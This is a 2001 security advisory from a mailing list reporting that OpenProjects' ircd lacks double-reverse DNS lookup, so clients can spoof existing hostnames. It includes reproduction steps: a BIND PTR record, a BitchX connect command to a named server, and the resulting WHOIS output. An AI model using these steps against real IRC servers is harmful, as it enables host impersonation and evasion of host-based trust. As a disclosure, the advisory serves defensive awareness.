[NEWS] OpenProjects IRCD Allows DNS Spoofing

From: support@securiteam.com
Date: 10/11/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [NEWS] OpenProjects IRCD Allows DNS Spoofing
Message-Id: <20011011102301.AE1D4138BF@mail.der-keiler.de>
Date: Thu, 11 Oct 2001 12:23:01 +0200 (CEST)

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  OpenProjects IRCD Allows DNS Spoofing
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SUMMARY

OpenProjects.net's ircd suffers from a security vulnerability due to lack
of a proper double-reverse DNS lookup. This allows attackers to spoof any
hostname that actually exists on the internet.

DETAILS

Vulnerable systems:
OpenProjects u2.10.05.18.(ipcheck4-5)

Recreate:
1. Choose a Hostname to Spoof. It is important to keep in mind that you
must choose a hostname that actually exists, for our example we will use
'host.example.com'

2. Point Your Reverse Lookup To The Hostname. For our example, we will put
the following in our BIND zonefile: 1.2.3.4.in-addr.arpa. IN PTR
host.example.com.

Where we will assume you are using the same IP I used, 1.2.3.4.

3. Connect To A Vulnerable IRC Server. BitchX -H 1.2.3.4 jmutex
asimov.openprojects.net

Try a WHOIS on yourself.

/whois jmutex
jmutex (jmutex@ host.example.com)
ircname : Jukka Mutex
server : asimov.openprojects.net (Fremont, CA)
idle : 0 hours 0 mins 24 secs (signon: Tue Oct 9 05:32:16 2001)

ADDITIONAL INFORMATION

The information has been provided by <mailto:jmutex@Aphex.NewGold.NET>
Jukka Mutex, <mailto:chrisj@newgold.net> chrisj@newgold.net and Joseph
Mallett.

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